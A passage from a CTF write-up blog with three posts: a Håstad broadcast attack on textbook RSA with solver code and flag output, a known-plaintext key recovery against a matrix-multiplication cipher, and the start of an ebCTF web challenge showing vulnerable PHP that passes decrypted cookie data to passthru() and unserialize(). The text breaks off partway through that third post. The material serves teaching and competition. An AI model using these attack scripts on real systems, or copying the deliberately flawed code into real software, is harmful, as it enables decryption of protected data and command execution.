codezen.fr code hacking, zen coding

16Jan/14Off

HackYou 2014 – Crypto 400 – CRYPTONET

Posted by aXs

We have intercepted communication in a private network.
It is used a strange protocol based on RSA cryptosystem.

Can you still prove that it is not secure enough and get the flag?

We have a pcap files with multiples TCP sessions and a python script:

#!/usr/bin/python
import sys
import struct
import zlib
import socket

class Client:
  def __init__(self, ip):
    #init
    self.ip = ip
    self.port = 0x1337
    #connect
    self.conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.conn.connect((self.ip, self.port))
    #recieve e
    self.e = self.Recv()
    #recieve n
    self.n = self.Recv()
    self.e, self.n = int(self.e), int(self.n)

  def Recv(self):
    #unpack data
    length = struct.unpack('!H', self.conn.recv(2))
    data = zlib.decompress(self.conn.recv(length[0]))
    return data

  def Pack(self, data):
    #compress data
    data = zlib.compress('%s' % data)
    length = struct.pack('!H', len(data))
    return '%s%s' % (length, data)

  def Send(self, msg):
    #send message
    msg = int(msg.encode('hex'),16)
    assert(msg < self.n)
    msg = pow(msg, self.e, self.n)
    self.conn.send(self.Pack(msg))
    print '[+] Message send'

  def __del__(self):
    #close connection
    self.conn.close()

if len(sys.argv) != 2:
  print 'Usage: %s <ip>' % sys.argv[0]
  sys.exit(0)

flag = open('message.txt').readline()
test = Client(sys.argv[1])
test.Send(flag)

This is Textbook RSA and the tcp sessions are the same message being broadcasted by Alice to many Bobs, each Bob using a different public key (N)

This a classic example of the Håstad's Broadcast Attack on RSA.

Solution reusing parts of Christoph Egger's RuCTFe nsaless service write-up:

from struct import pack,unpack
import zlib
import gmpy

def my_parse_number(number):
    string = "%x" % number
    #if len(string) != 64:
    #    return ""
    erg = []
    while string != '':
        erg = erg + [chr(int(string[:2], 16))]
        string = string[2:]
    return ''.join(erg)

def extended_gcd(a, b):
    x,y = 0, 1
    lastx, lasty = 1, 0

    while b:
        a, (q, b) = b, divmod(a,b)
        x, lastx = lastx-q*x, x
        y, lasty = lasty-q*y, y

    return (lastx, lasty, a)

def chinese_remainder_theorem(items):
  N = 1
  for a, n in items:
    N *= n

  result = 0
  for a, n in items:
    m = N/n
    r, s, d = extended_gcd(n, m)
    if d != 1:
      raise "Input not pairwise co-prime"
    result += a*s*m

  return result % N, N

sessions = [
    ['192.168.001.005.33023','192.168.001.017.04919'],
    ['192.168.001.005.34806','192.168.001.021.04919'],
    ['192.168.001.005.35157','192.168.001.024.04919'],
    ['192.168.001.005.35915','192.168.001.027.04919'],
    ['192.168.001.005.37126','192.168.001.023.04919'],
    ['192.168.001.005.37754','192.168.001.020.04919'],
    ['192.168.001.005.39425','192.168.001.025.04919'],
    ['192.168.001.005.40439','192.168.001.011.04919'],
    ['192.168.001.005.41260','192.168.001.010.04919'],
    ['192.168.001.005.42465','192.168.001.028.04919'],
    ['192.168.001.005.42767','192.168.001.019.04919'],
    ['192.168.001.005.51710','192.168.001.018.04919'],
    ['192.168.001.005.52037','192.168.001.016.04919'],
    ['192.168.001.005.53328','192.168.001.012.04919'],
    ['192.168.001.005.54629','192.168.001.022.04919'],
    ['192.168.001.005.56537','192.168.001.015.04919'],
    ['192.168.001.005.56717','192.168.001.014.04919'],
    ['192.168.001.005.57646','192.168.001.013.04919'],
    ['192.168.001.005.59891','192.168.001.026.04919'],
]

data = []

for session in sessions:
    (source, destination) = session
    print source, destination
    message = open(source + "-" + destination, "rb").read()
    handshake = open(destination + "-" + source, "rb").read()

    buff = handshake

    length = unpack('!H', buff[0:2])[0]
    try:
        e = int(zlib.decompress(buff[2:2+length]))
        print "e=", e
    except:
        print "Zlib error for e"

    buff = buff[2+length:]

    length = unpack('!H', buff[0:2])[0]
    try:
        n = int(zlib.decompress(buff[2:2+length]))
        print "n=", n
    except:
        print "Zlib error for n"

    buff = message

    length = unpack('!H', buff[0:2])[0]
    try:
        msg = int(zlib.decompress(buff[2:2+length]))
        print "msg=", msg
    except:
        print "Zlib error for msg"

    data = data + [(msg, n)]

    print "-" * 80

print "Please wait, performing CRT"
x, n = chinese_remainder_theorem(data)
realnum = gmpy.mpz(x).root(e)[0].digits()
print my_parse_number(int(realnum))

Output:

$ python crypto400.py
192.168.001.005.33023 192.168.001.017.04919
e= 17
n= 25492165341402870943193342194243878583550091830588300179983190484677536677783878770091771426745020581968485223806403482688708690916599646206863308796421682192123291604607235755107364431209342465647517951497018019170871611821471577647494718032136027446239385000016582048814012025961200909864909126220898470337474181564969111740549293849528764155308076160637626891491670481790680054394999454113154731685789729310781453533838696397873008408145290785550608424077599753426457559997966726766077860415133627965054965186926286998932683118114065698789972581403018027054849591593302510627959868541308908688742433116746685957413
msg= 6666419060534882063445608631701254352058920974421822069727027885698959797948070412066328188514278918986722361742912500893728424745043197562231410354633167915385978833339701529722766937863212423943888214894271923064950171580353934178748023608466389268996754295631668202047874774966518214639701079489902676101992190471567121772228753020078695924075081945558620706927179092603126041395606016633822502612954885417984184184737630487502072507997213412593690188577996870365218951232207636278621674542750965270226225337180320970384418820119666789283194398074172939976925377054214851752639573115850958399373724855553234690869
--------------------------------------------------------------------------------
192.168.001.005.34806 192.168.001.021.04919
e= 17
n= 21127940129465859529449290710465142401626099761120448822896227957140612250511186166751154941578458258054285578274511450860570540828102070111370941358023009904308008795394643585864471986075987747216086746123427597776886622933600026324537947907678164739969468650427560672262831484437166952755098875024996456298734488381416586155715216067643259554486571154930556222002298362539331180176023831109425436177078457326927485711697356496728959762158514131974253928871967648747022232011642161107225163919743383709749413596786170516661129884422397760268997322898954161891328103774133077184028190158020665184081778231669390621447
msg= 3025342965063970983290961997148038673244905555308289391392896371605967574831912573039170667272658109340534212720805676884032065407092138739865486740854024452063900964324730683963944994250537553102328024132087660954040726648939149676030355851576763910670469390583200661923104138267998714166483656478619852365437776250801008285867722681155855008497404084448836122553221951674607943082229713841396761939215145379881979676835537964953725808825354819362797503568722134701601966504482232887162578922823026182148541889898696868501626860530484834082878781257554947276873624962134091380186322272011345017295000538738940807566
--------------------------------------------------------------------------------
192.168.001.005.35157 192.168.001.024.04919
e= 17
n= 22563350736629808264395772922819808510705484822245634475903533464108273973359621048788502042378085143059458230242646589967392945320090987067961491654357416853755261074531634683509015394347409817614889849143844247148479574777870355411207636748917532445668322051861338052906797819332259215278552079454184458015646487703430124222965707626399501332317111449272813630361908462924849723439803107908568327484445685641242797481816740336203447956828486867818411976997494338407256234593013250778655132122780432402623365698921928370817670245911505312288465537126236680323692662919137486755722237256218345361985595174086335811073
msg= 20135971165126329834498721501784512951499984648652660104821647741072871489936836442504197592142991669369919035304425516258391511301425226375564892415339365148509645261565560913559856659645387805198871549146172257882053281268795760344994001608956789940307816388486468042693545041073838774812997395437209060397149458050765177205158052575861667488415782153713633691372314235926019032628836133660245109281683465499593548858659962576728675714563027957143405441096816687188373864658407934159173393698714390810577718268693096568336071207238450039773940104963444157704166286892082172461258702049072827677476706096904316460964
--------------------------------------------------------------------------------
192.168.001.005.35915 192.168.001.027.04919
e= 17
n= 19697677554331221267369641184167188448335213481430897452143918418367154993523756864868509098839783053011355139590418269119504715550443490754762988015861768839038067134509092125205376509678043881070558825637905431885254727168679069330416776166369184375970521838169214107508952264240335498312849019213361951991190975616614804433716772411184993774461040690673753098373736933084616647869336141707774024488317582512216162403209135110515778522772939206567850540704356683976987508523230996026019768603629874558741038975853009975048175519392495212857366577161641687502674304846608725983145033337187267988999492371626182417551
msg= 14300174742950957133230867352717457897986205104543265825218842008467109972830138620119291505539500355334723376879888409251809364632635010202950500050892997355318105884900306620239365641681252935777362167024611054220484107153146560621083009306565476636270883588514007454668850327310521718849400741849368048026759782889674614052640379573508042637071620721869972662416840328750772187247907576009995766111841008793044576343182936834713229276992314777759684829492003814595802694592792453101320053268786720734738162720052909591108493186651733642823133001888727983206566194875945734575411295063088173363528901413605439659186
--------------------------------------------------------------------------------
192.168.001.005.37126 192.168.001.023.04919
e= 17
n= 22840174333461757597258965063503187552495604936013453813620970124752854692025931772152482715744058240571638175460349150353012889988723597821978579743499713766809084692254297539180932689148176677208822562008650864838388158004011554059006621226560748426334342736035675518932164604927602370423087532589029111052023317750367568915149473019058579728528211621618516222534404936592529521724927756742450435643292165615017136698859157488474841102297647488008004924900405006989945846311096537399030509947027554824768198503677139485403433484337602107191422279674605462427176871354240310242684337649527314815937448142118014471869
msg= 7269879938285087105060326068602691458154834670489063661854932312114567012381462325708324462473335735747751985833951832304054546004436096189761282474552769255043106817537407079708725883409397856635437608590617899532129476884853580275762892523609169600551500977086971018619327642914168273376084417345670925345416864822282780628646416374712921155883117431305185117831110048721693951865267141962666069350614792416053836803149161735632213430960384988586996269807413280397202373128437527421378900814241234271529460443131737298476049472736692048979564047934967259654010923397531158463241672904787724046355796318156683211693
--------------------------------------------------------------------------------
192.168.001.005.37754 192.168.001.020.04919
e= 17
n= 26181530231990596208912553982832841408036769882768643576772592303571004331051012292548525104394717484252349998434031623438917061404178468743247357634872314865905132523154238118481540371615056806756673945897771283881615017345596477766231957968854622033499073650939380455320632540323169565251694316300843433445667057555206872698949047971459662093473609973167299463621536822302820363096764742010575821082948519766535657152613824870739004432505303862201505469354785224205708777422229564239113870271947768783809029625932248575272642464554827073657622048405963388795704112995209429712517330431946725366254154641804680636843
msg= 6596498503473090384156122948918457693225694527543771961484972133896304927525029433085731957072789891646290597692421323936231128201822432631159176346646447011338805190482179145913035869942714613486895588754112366313438192851954663748505238329830016450238817308208066971617432717047936473721490905750275563930145038394216747562079905090073621918898708464447477835510214346908545028865672847041949340101722558962541612836311085196500521238354347015877914823677634283521373575663416167402249149782097385550791425270622816978948552969790013217066937461634555711434991830871731594480554761087920979267051612013063691897091
--------------------------------------------------------------------------------
192.168.001.005.39425 192.168.001.025.04919
e= 17
n= 18375116136153390105382127878395045588105857107246922094470216545244337357987681718168448429849698069981688291927806366721855289976121993055091218569849787514394507275481429728206429948836923251296672175100798033529862498578044854162615314211321712132747044363074981129056925717085204066189560133707352709019771792017200539059204024262019592851381317279368957556414371834469907989489823310736060223258994989400405121984031058976855896631117913090748375198718936570595983429517914008170697730495897896134771484309035561040862223201385431761693343426402858632921946359721016131084165400212811848077899966364178485645209
msg= 14450411368079644952604705871870024872670263251365527266862703716230778731191117713744962010138824834514424908701300856449356388617430510950535877723758382120583446269291649779277478125202353436896123871466945681583403794725306243733343462009791759823657466902546992816090954580754519785729524996046358307197773786618439603452776474869740548426942373102466687002398105444228516302695737600836706505822006007382861266883167162032588362091247091029707841718663522787461434574458986841049123553142254769053444081497788062775004085437066317446657655214417638414799100287660747244854718117257942197065271633812453504802118
--------------------------------------------------------------------------------
192.168.001.005.40439 192.168.001.011.04919
e= 17
n= 18856599160001833299560082802925753595735945621023660831294740454109973698430284916320395522883536507135735383517926050963512440162483065097256884040938259092582892259657340825971260278387406398529168309426241530551396056450450728728601248269612166083300938497235910244979946020059799495231539400114422748104072550004260736766137354572252872437140063474603268146956570787143010441293268321641092743010805639953103578977668248726500636191043930770036787317928372179939360510179438436665591755940224156131460271763912868322774604558314812111335691108887319827579162188169744014973478052491398688611046800951698773893393
msg= 9537600333774561965347809713893729543607050845183365456822389928272539309054686047543168922742589173859871008938711574330675462024831693796734766356934966684018899382045308313458440052017835494802986355673813464215184924837019853399388984893499187144821922554214143314640377079505897680854314880035458832414257859211958802973880776732222536460326269825765449639225220135735729106020282618914111685220841901015367575108920943148006106714487046602965253293770388951872741849791157534395777330833976209975828865170184061768114280467192574451716204110866562270737220078456700440400847759035001437357717203367869014507886
--------------------------------------------------------------------------------
192.168.001.005.41260 192.168.001.010.04919
e= 17
n= 27658060678038715780470429570597987144542213875178081185638364125349217264266787337266356239252353691015124430930507236433817624156361120645134956689683794554169169254645287613480048966030722812191823753459580311585866523664171185580520752591976764843551787247552790540802105791272457516072210641470817920157370947681970410336005860197552073763981521526496955541778866864446616347452950889748333309771690509856724643918258831575902389005661750464296924818808365029037591660424882588976607197196824985084365272217072807601787578262208488572448451271800547820717066767396857464594301327160705353075064322975430897551911
msg= 11433488612991990768536086698965180146550356348457563234735402111134701115830423042016221831657484325065472609147436229496479358788735270448637824809543880271526735635196884978639585020518147152207002685868984199742884443523231593245377292570809368330956970290791633106067116466080014631110596564728982066569618319541351401820732547227122970369299780366876340403436785218211729531092484723580223801525992510782266856454394478372421830988205823368541860973674259795969870252832216828042174346473447490557323038031625277043161510854825069681462499200978561823301487118145650943076528233694749306585201212677836363102350
--------------------------------------------------------------------------------
192.168.001.005.42465 192.168.001.028.04919
e= 17
n= 22946690762018202432990887189358840679847544298138130593179782494313283235656708793278294817370704179431587028797820098265221065047094111469387707851755805572030960917620048531944164128853858185996116085402185608208505862268300069081634690281361741089802822427014733500818400628218120217701065238981427409232531524810373504821405505784194458324112411450898914981925380408035843501140943840375415504531028291728110941191868468403264579853022847273710668909241386840084506302813524686512443804790681324357699954553042087787664048340322301999798211625015533291431249576149925507273846582715275085720997988716732564925247
msg= 22114155655659890875804525321139229042160702983880183010190613534988342335473532979092956071940843014846115113869717993343361412775761899123003515398037548495421246487341345482541093940292149812612966738017954607042366694074210348507360409383994155996445275183175086308877643260816760841714256410898269814908129813108551478627448054932601176813323889809069498060147451905095827442175810001123067159848367040168783825044279052630935945891964134230385303127654483691228319146427451587693985548002268250053416426728753739573823133295951972853182187229046285977320129680613905801285437766686995325893960172376926445625122
--------------------------------------------------------------------------------
192.168.001.005.42767 192.168.001.019.04919
e= 17
n= 24196427886175544349183151853220199349004334700026598710073455177858086301574503667298550711896472441115488666905450709605686892168468755356865839253905196330957826522203721667534054840325504585224175556167326100374628995111103938603447308160978852917872087343333848311844292367100647648063686677699135973596041567307784602998888789211145238333237613511049640509935260207585999606022736214748154785163367146044878537220691272581381812904389596150391959046627047758159235384420979630615278721284429066540058110867810807414175942667916940934372027878979861244401198531405584211810881235860988295519048177492135610751359
msg= 22296229997452473240404864600165019763565238056149885081619043661295445875270023158334098350603026725837611396891344057244652143898149482532106315521575872089742565470821567522946361662445964027209388657746191967435348044945947483621482721538186361050633595041353278781238956486769506373730884495108039610798833232749139421109269053404110580969203157360738738757856465985684697862079893042321411866940484105462672034009048091117594209570962168395344960105313171255329582011213721766675322731331965794652525786585751148977132545042466983433106614477836969990881581169493890539450115893703987635774477858244270608426284
--------------------------------------------------------------------------------
192.168.001.005.51710 192.168.001.018.04919
e= 17
n= 24360507764722702236982664735328841420311376027120399241078325497875531961885056309904114723678048613901842270612025644417215018351512175660269184968149109110209563435463873211914594529847294730496535258882010197028842516927468678843924092706088182566726725380495130934316582041447010080540555792802432876873205758297773353354773400601269072565235285553745651262991130015382601486699000167692446155692416347390954126585612460075052988874628884097103408004610717498543307677173210168954439627061348158046928463114067813191846253937179490050784167037265795606665046543869952157800016132040847485597002954075447344679099
msg= 2091608690891505258645949208946395204695041893228619053197065370886625848151228416356718762070352835427065857428605476603762875777761221509564315249418937215791628816353819422446178413024109351330646491084678357651148045128554746141683169277567849074245394149157710582616155738686711539953583528181614701953172972027101545253676978964454897005216320952879719740377602813279137554307680715749682175447559417772077472349519490785782899751615833622828868651966927604858524345638792811839384317780948838203430577334783095834911402913673850996431719159112716370014509918436690080118494876223156361387987999829094801210890
--------------------------------------------------------------------------------
192.168.001.005.52037 192.168.001.016.04919
e= 17
n= 20991361604317638769781823650579915779070848318189821239839863416933546421097820271887796260918963289144354691357223973152195364244222103627141268032857145421152363842224398828703305592221616019678102879125957325674007444034541160527072712208844228077449624475289619712846717432293230773279322231288635231839457560272849165524911202814516841260722542666841002263011069065414760944278124011800036869640840312097012211808948108758865722731922057521488153991477824974687229720412552981052793827211890557079895492457992364345889589127536307112174252490433421772585442393590767593690124636778449673348970938028847369589017
msg= 1176089662945377859394485590647428302230902074038834532187683920441006896963622996580792552532208518328678256998366963208028743204946660302538358531574765644007432906847438011315702121691613005078019506672007476291213237939507650616659336489497035998458925997634519034425449883103272960672562772204663037400144823802245320606039938019714906919958257594477982151857672916895153818922550365638890064326384677879791487276278839159022778493427572161764299809764447703117493013786755368150005501909964140795978310287946809348754988288402304994584145696550845106776916203635572397815715801968943287729470010695704992513284
--------------------------------------------------------------------------------
192.168.001.005.53328 192.168.001.012.04919
e= 17
n= 23536517244565831304957548822169291652207666754083340160306298208076886665065064843803465469409961704414510544566548897045751559184520942970858445270483458341528037499088946028024476760938334724064432942414803725235245083424464022066205458380170453189950900307248048617678876232312945996520402058770976469558803007764420552804210174247648614671097046399148333316029580244153775977135880775921663886951776404864678251750085264792097984094013284691977749495264267344834078278955171634785277609298558886471141768976455150174601039402280137908104589898954351484608783306378026577123527889651575952772820003380025546341093
msg= 2787570158312133794000264568955228362505478580337508384369847495327630702109418180218855630800765419691714135680571469213835542379448821209732447589306506369895651911135089075762137873889141680195343215032414145506957429427948190720862478335515596644926205381293106417410261520242246013085300698437878525197927303400003852408888917470597700285690342597850461091636279688711415205788329646890595805415907084665612141657880165938739423616058100283432682214722969192114128403177592988697839575450529126584549296274365360257579336454484779207708578834457262472129009056129647722165160424055970728939468425924742795247404
--------------------------------------------------------------------------------
192.168.001.005.54629 192.168.001.022.04919
e= 17
n= 22418240669078782395650685709211154715963189697089263104799144782938556049238670824036504767273510569815649054522706833230147726835488621722481390416868271627116267103118088021697808807092496788890564153300558617457948161343658932652189856049810225397121264480931341652674373238956664385611007077903271999938666531870525476577337484325119704138317723687164049779101614572637615019989722168840820998326371954897496744184510021746784303032310300111064058399012572181069622479162656626630666689745901678446100898000876596201969536772169761074060718581442841244466714693693744538078059538322489346225247976911833748299831
msg= 12741916458848035965674277226994440579915129055105462698845221890770558867890065973150125863687106455321192524282688850919026924493363241183706112792662939894532011809709158105688708409813198696055548036573709488504352009446189240170056000380659861236761237694775468132858916502459186242385986053427650331045218524574666652583364331482577973877822911369427036861116411565934292335204172142173748941863013032301778764886328258476195697934305418334527182261876183838908107190767800857337092015153451318295610430683371731834190637342265695335154669307530426675001781782217407160875559782488264585128426108095378548497650
--------------------------------------------------------------------------------
192.168.001.005.56537 192.168.001.015.04919
e= 17
n= 23980852037830754961843810384842109198680213599160124627608485316452067979221814287579031744661623974638029208789156178351485676131492416093947908129410491693261731404401473508295054358751129977958761373804386612048163148740071525591509234298601816819182717519183021983010112798883286143566969631969002952806398266165159329990930567027893909276078886841121244401773915309649928992691723658667402744292184927500507621943557420540056270730461740897601661594495028880708798531876866777269713984635553934853524715534003465120928659881608776745499441872048908380726942161563974610455635903901327036597201663594811207962219
msg= 6500753041357449855790208700753809194331642408448330624975108109751859721113916040913210608530117147284032825775613945416295553599499663257233673509345038912634968979540222246220460441613513695959331196716737175735741187191935319073270722811433035516074289343637773607521789970734447289501012767670625043452129332667983332570596510412510389935486708833483704894688513193020406791505432203906745860054901025547265075193156070642716676601268698224891768784422675343094235950805128869705790800102590177489342374151286188584127528879203511712056047898651580309669143955726928687269246843562481439718815596302692298516533
--------------------------------------------------------------------------------
192.168.001.005.56717 192.168.001.014.04919
e= 17
n= 20692935323456318857339636506121661409781600706918188791579569287363925379425076174758120076604134447812506062875425652061813752876711066070389233324351070782264123950482732919402628782987702034544299244918439112034234610691454353578647793100554890386226509128280993176780063155185886470116528236906519407444238424523493151082789442134440461004320839591569157239343299865825958454617581990948186838151424941117137818356712476559230872711658730923799079308488965817006179693410669320825141974869847267757553830878658559853061666130127729833856270147578804267991192625989184535593836836877723580138193263333297569871679
msg= 3149880252209031344712912478150309339789690396685866282400905925814536568350616764434288908486968492252351255022161340923513529850192573780350157980373627989388396346845656970516353356298790654832486310492079962338672745285854665147406015543850517102001543987674241995267846019477920439984122318278402925428057397039652213642437095694526592410641576952281061504190238132151689288080423425867830015832927809704559212420233819682781217618789216812964682441589327621971863380979777355679805008775337364919278947618188598427198109821307637144473819840409743353235834034795849314936322245339378447572244022235758755318197
--------------------------------------------------------------------------------
192.168.001.005.57646 192.168.001.013.04919
e= 17
n= 22182114562385985868993176463839749402849876738564142471647983947408274900941377521795379832791801082248237432130658027011388009638587979450937703029168222842849801985646044116463703409531938580410511097238939431284352109949200312466658018635489121157805030775386698514705824737070792739967925773549468095396944503293347398507980924747059180705269064441084577177316227162712249300900490014519213102070911105044792363935553422311683947941027846793608299170467483012199132849683112640658915359398437290872795783350944147546342693285520002760411554647284259473777888584007026980376463757296179071968120796742375210877789
msg= 16279989825796156802547712583633798298339885806436476356497796047229021124610630851145390462136716298450342674217575569196543919171078736243934669612002081179432014315465408489156509075853163302037413161239227506465361288161349464334942343016752593577869091378915378775289174914088843177811858916838452126433042585745992994815140378356718198629815818784659700720051966660786554920296721138381405607252098516473395177368859057746002895683463397630717358844874557866924382768279446164993249061647243362602307728771126094369384362246840728274885512559106673543101063171808938427459691773785819336680808200730383909434687
--------------------------------------------------------------------------------
192.168.001.005.59891 192.168.001.026.04919
e= 17
n= 21996468204721630460566169654781925102402634427772676287751800587544894952838038401189546149401344752771866376882226876072201426041697882026653772987648569053238451992877808811034545463363146057879646485465730317977739706776287970278094261290398668538232727000322458605289913900919015380904209692398479885177984131014170652915222062267448446642158394150657058846328033404309210836219241651882903083719822769947131283541299760283547938795574020478852839044803553093825730447126796668238131579735916546235889726257184058908852902241422169929720898025622336508382492878690496154797198800699611812166851455110635853297883
msg= 18919626944919001746434424216626233185707755539125451453498872012547818089480281584466165481221804279035723497497262166426771134459922980759121024951390547522550510734782168869364945944106404378597344695227319394862905382593128694330512816879360904284025740295670026092938765777154761403682710878968080966485091090198109371223563090698724814081281842426885356314840392128767155541449360105460941384985904101420698734690361896580259169275867969219822351776569430617405034594385605780084981880407657528516176335362438505224655581522137130777263875034088903829280901936110414932437809315770012018024957989707333743935907
--------------------------------------------------------------------------------
Please wait, performing CRT
Secret message! CTF{336b2196a2932c399c0340bc41cd362d}
Share
Tagged as: , , Comments Off
16Jan/14Off

HackYou 2014 – Crypto 300 – Do you like math? Write-up

Posted by aXs

Do you like math?

We have an encrypted flag.wmv.out file and this python script:

#!/usr/bin/python
import random
from struct import pack

def Str2matrix(s):
  #convert string to 4x4 matrix
  return [map(lambda x : ord(x), list(s[i:i+4])) for i in xrange(0, len(s), 4)]

def Matrix2str(m):
  #convert matrix to string
  return ''.join(map(lambda x : ''.join(map(lambda y : pack('!H', y), x)), m))

def Generate(password):
  #generate key matrix
  random.seed(password)
  return [[random.randint(0,64) for i in xrange(4)] for j in xrange(4)]

def Multiply(A,B):
  #multiply two 4x4 matrix
  C = [[0 for i in xrange(4)] for j in xrange(4)]
  for i in xrange(4):
    for j in xrange(4):
      for k in xrange(4):
        C[i][j] += A[i][k] * B[k][j]
  return C

def Encrypt(fname):
  #encrypt file
  key = Generate('')
  data = open(fname, 'rb').read()
  length = pack('!I', len(data))
  while len(data) % 16 != 0:
    data += '\x00'
  out = open(fname + '.out', 'wb')
  out.write(length)
  for i in xrange(0, len(data), 16):
    cipher = Multiply(Str2matrix(data[i:i+16]), key)
    out.write(Matrix2str(cipher))
  out.close()

Encrypt('flag.wmv')

To solve this challenge, analyzing the WMV file type is important.

The header of a WMV (ASF container actually) starts with a well-know 16 bytes sequence: the header GUID

So we know 16 bytes of plaintext and 16 bytes of corresponding ciphertext : that's enough to calculate the key

C = K * X
K = X-1 * C
P = K-1 * C

Here is a script automating this:

#!/usr/bin/python
from struct import pack,unpack
from numpy.linalg import inv

def Str2matrix(s):
    #convert string to 4x4 matrix
    return [map(lambda x: ord(x), list(s[i:i + 4])) for i in xrange(0, len(s), 4)]

def Words2matrix(s):
    #convert words to 4x4 matrix
    return [map(lambda x: x, list(s[i:i + 4])) for i in xrange(0, len(s), 4)]

def Matrix2str(m):
    #convert matrix to string
    return ''.join(map(lambda x: ''.join(map(lambda y: pack('!B', (y+0.05) % 256), x)), m))

def Multiply(A, B):
    #multiply two 4x4 matrix
    C = [[0 for i in xrange(4)] for j in xrange(4)]
    for i in xrange(4):
        for j in xrange(4):
            for k in xrange(4):
                C[i][j] += A[i][k] * B[k][j]
    return C

def to_words(string):
    i=0
    data = []
    while i<len(string):
      h = string[i:i+2]
      data.append(unpack('!H', h)[0])
      i+=2
    return data

def Decrypt(fname):
    data = open(fname, 'rb').read()

    # WMV GUID header
    plain = Str2matrix("30 26 b2 75 8e 66 cf 11  a6 d9 00 aa 00 62 ce 6c".replace(" ", "").decode("hex"))
    cipher = Words2matrix(to_words(data[4:4 + 32]))

    inv_plain = inv(plain)
    print "inv plain=", repr(inv_plain)

    key = Multiply(inv_plain, cipher)
    print "key=", repr(key)

    inv_key = inv(key)
    print "inv_key=", repr(inv_key)

    out = open('flag.wmv', 'wb')
    for i in xrange(4, len(data) - 4, 32):
        cipher = Words2matrix(to_words(data[i:i + 32]))
        print "cipher=", repr(cipher)
        plain = Multiply(cipher, inv_key)
        print "plain=", repr(plain)
        out.write(Matrix2str(plain))
    out.close()

Decrypt('flag.wmv.out')
Share
Tagged as: , Comments Off
5Aug/13Off

ebCTF 2013 – Web400 (crypto/aes/cbc/hmac) Write-Up

Posted by aXs

This Web challenge was part of the ebCTF competition. It's actually more crypto than web. We get a simple web site driving the famous cowsay binary:

define('MY_AES_IV', CENSORED);
define('MY_AES_KEY', CENSORED);
define('MY_HMAC_KEY', CENSORED);
define("FLAG","CENSORED");

function aes($data, $encrypt) {
  $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
  mcrypt_generic_init($aes, MY_AES_KEY, MY_AES_IV);
  return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
}

define('MY_MAC_LEN', 40);

function hmac($data) {
  return hash_hmac('sha1', data, MY_HMAC_KEY);
}

function encrypt($data) {
  return aes($data . hmac($data), true);
}

function decrypt($data) {
  $data = rtrim(aes($data, false), "\0");
  $mac = substr($data, -MY_MAC_LEN);
  $data = substr($data, 0, -MY_MAC_LEN);
  return hmac($data) === $mac ? $data : null;
}

$settings = array();
if (@$_COOKIE['settings']) {
  $settings = @unserialize(@decrypt(base64_decode($_COOKIE['settings'])));
}

if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {
 
  $settings = array(
      'name' => $_POST['name'],
      'greeting' => ('cowsay ' . escapeshellarg("Hello {$_POST['name']}!")),
  );

  setcookie('settings', base64_encode(@encrypt(serialize($settings))));
}

if (@$settings['greeting']) {
  echo "<pre>\n";
  passthru($settings['greeting']);
  echo "</pre>\n";
} else {
  echo "<form action=\"?\" method=\"POST\">\n";
  echo "<p>What is your name?</p>\n";
  echo "<input type=\"text\" name=\"name\" />\n";
  echo "<input type=\"submit\" name=\"submit\" value=\"Submit\" />\n";
  echo "</form>\n";
}

Step 1: The form

Capture1

Step 2: The result

Capture2

The POST parameter is properly sanitized when passed to passthru() with the help of escapeshellargs() (works like mysql_real_escape_string() but for shell commands)

We also get a cookie with the result:

HTTP/1.1 200 OK
Set-Cookie: settings=bLuTJcHxN%2FJovq6014VC%2BT6OURs1ViK1gbHWU2sn3joRuiUb2vPpHycZYnMAFkB0D6Xh1DDByOLs879VESFEF8BPTOC8%2BOVKNoptb8uJBQqcbH2HPbkxNWq%2BMkmiNi98MC1GGoBSa66SWxTTQodPfQ%3D%3D
Content-type: text/html
Transfer-Encoding: chunked
Date: Mon, 05 Aug 2013 08:34:09 GMT

This cookie is an encrypted and signed session:

function hmac($data) {
  return hash_hmac('sha1', data, MY_HMAC_KEY);
}

function encrypt($data) {
  return aes($data . hmac($data), true);
}

$settings = array(
  'name' => $_POST['name'],
  'greeting' => ('cowsay ' . escapeshellarg("Hello {$_POST['name']}!")),
);

setcookie('settings', base64_encode(@encrypt(serialize($settings))));

So the format is:

base64 ( aes|cbc( a:2:{s:4:"name";s:3:"aXs";s:8:"greeting";s:19:"cowsay 'Hello aXs!'";} + hmac( a:2:{s:4:"name";s:3:"aXs";s:8:"greeting";s:19:"cowsay 'Hello aXs!'";} ) )

Result:

bLuTJcHxN/Jovq6014VC+T6OURs1ViK1gbHWU2sn3joRuiUb2vPpHycZYnMAFkB0D6Xh1DDByOLs879VESFEF8BPTOC8+OVKNoptb8uJBQqcbH2HPbkxNWq+MkmiNi98MC1GGoBSa66SWxTTQodPfQ==

00000000 6c bb 93 25 c1 f1 37 f2 68 be ae b4 d7 85 42 f9 |l».%Áñ7òh¾®´×.Bù|
00000010 3e 8e 51 1b 35 56 22 b5 81 b1 d6 53 6b 27 de 3a |>.Q.5V"µ.±ÖSk'Þ:|
00000020 11 ba 25 1b da f3 e9 1f 27 19 62 73 00 16 40 74 |.º%.Úóé.'.bs..@t|
00000030 0f a5 e1 d4 30 c1 c8 e2 ec f3 bf 55 11 21 44 17 |.¥áÔ0ÁÈâìó¿U.!D.|
00000040 c0 4f 4c e0 bc f8 e5 4a 36 8a 6d 6f cb 89 05 0a |ÀOLà¼øåJ6.moË...|
00000050 9c 6c 7d 87 3d b9 31 35 6a be 32 49 a2 36 2f 7c |.l}.=¹15j¾2I¢6/||
00000060 30 2d 46 1a 80 52 6b ae 92 5b 14 d3 42 87 4f 7d |0-F..Rk®.[.ÓB.O}|

Since we don't know the AES key or IV used for the encryption, all we can do is play with bitflipping in the data part of the ciphertext but then we will fail the HMAC verification and our cookie will be rejected right ?

Lets try with username "Big-Daddy":

jdTuryVcfoYRxI09MJlQ2WfAxH3vl1ECNW+8sfaPvWhzdkR2ikidt9N9AwIvjLSkEK7SMGE2J3mMWhsvHaeuzzP+QIjjWWC8i1Y7CLxyVex2Mt9xiy67+cl55mSfSGGXVBxl05PNGDQcmJ+Af1LKEXO4qw/zlaLgA4e3ZZe8lWU=

00000000 8d d4 ee af 25 5c 7e 86 11 c4 8d 3d 30 99 50 d9 |.Ôî¯%\~..Ä.=0.PÙ|
00000010 67 c0 c4 7d ef 97 51 02 35 6f bc b1 f6 8f bd 68 |gÀÄ}ï.Q.5o¼±ö.½h|
